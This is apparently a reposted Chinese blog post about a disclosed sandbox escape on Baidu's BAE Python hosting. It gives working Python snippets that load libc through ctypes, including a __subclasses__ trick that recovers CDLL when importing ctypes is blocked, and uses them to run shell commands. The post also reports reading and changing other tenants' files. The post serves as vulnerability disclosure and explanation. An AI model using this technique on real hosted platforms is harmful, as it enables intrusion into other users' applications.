博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Python Hack 百度BAE系列2:系统命令执行 细节补充
阅读量:5964 次
发布时间:2019-06-19

本文共 1414 字,大约阅读时间需要 4 分钟。

hot3.png

    Python的强大灵活以及百度BAE的虚拟环境,对喜欢hacking的同学是个不错的尝试。于是就有了乌云漏洞平台的这个漏洞(url地址的编号好像有误,应该是2013年才对,bug?),其列出了简单过程:

  1. dir查看os,subprocess等模块,能执行命令的方法都被阉割了,import commands模块直接就是No module named commands。
  2. 上传自己本地的commands.py,能够import,不过执行系统命令不成功,是基于os模块的。虽然不成功,但打开了思路,只要上传相应的文件就能使用缺失的模块了。
  3. 执行so扩展会怎么样呐?ctypes模块不存在,果断上传自己本地的ctypes文件夹,成功import并能cdll。编译了一个so扩展上传,执行无结果并中断了程序,目测可能是编译环境和BAE的不一样。
  4. BAE服务器上的so扩展怎么样呐?加载/lib64/libc.so.6,执行system成功,于是便有了上面的shell。
  5. ls /home/bae/instanceall/instance1/codefs可看到其它用户的应用列表。尝试读取文件内容无压力,修改也无压力(测试修改了自己另外一php应用的文件,成功)。
    但有些小细节没说明白,可能有些同学没看懂,我就狗尾续貂,添加两点说明:
  1. 对于上传ctypes模块的方法,除了上传ctypes目录外,另得上传`_ctypes.*.so`的动态链接库,ctypes依赖此库。
  2. 对于加载`libc.so.6`,可能在不同Linux系统中路径不一样,可以通过如下搜索,
    In [1]: from ctypes.util import find_libraryIn [2]: find_library('c')Out[2]: 'libc.so.6'In [3]: find_library('m')Out[3]: 'libm.so.6'# find_library()中的参数是库名,去掉前缀`lib`与后缀`so.*`# 然后直接以库名加载,无需绝对路径In [4]: from ctypes import *In [5]: libc = CDLL('libc.so.6')

    参考台湾的研究,若环境已安装ctypes,只是不允许import ctypes,可以用以下曲线方法:

get = lambda x, n: [i for i in x if i.__name__ == n][0]x = ().__class__.__base__.__subclasses__()CDLL = get(x, 'CDLL')CDATA = get(x, '_CData')cx = CDATA.__subclasses__()csx = get(cx, '_SimpleCData').__subclasses__()c_char_p = get(csx, 'c_char_p')c_int = get(csx, 'c_int')libc = CDLL('libc.so.6')system = libc.systemsystem.argtypes = [c_char_p]system.restype = c_intsystem('uname -a')

转载于:https://my.oschina.net/leopardsaga/blog/146547

你可能感兴趣的文章
access表达式类型不匹配
查看>>
架构师入门:搭建基本的Eureka架构(从项目里抽取)
查看>>
hdu 2050 折线分割平面 (递推)
查看>>
HDU 2844 Coins 【多重背包*】
查看>>
SQL server 清除缓存
查看>>
Scrum立会报告+燃尽图(十月二十八日总第十九次)
查看>>
学习日记的写作原则
查看>>
对student进行增删改
查看>>
openstack namespace 的应用
查看>>
异常处理
查看>>
Hbase之取出行数据指定部分+版本控制(类似MySQL的Limit)
查看>>
Vue router 全局路由守卫
查看>>
Java控制语句——switch语句
查看>>
流与序列化
查看>>
虚拟机封装
查看>>
通用选择器
查看>>
四则运算一
查看>>
8--Rails路由2
查看>>
服务器安装笔记
查看>>
感概一些
查看>>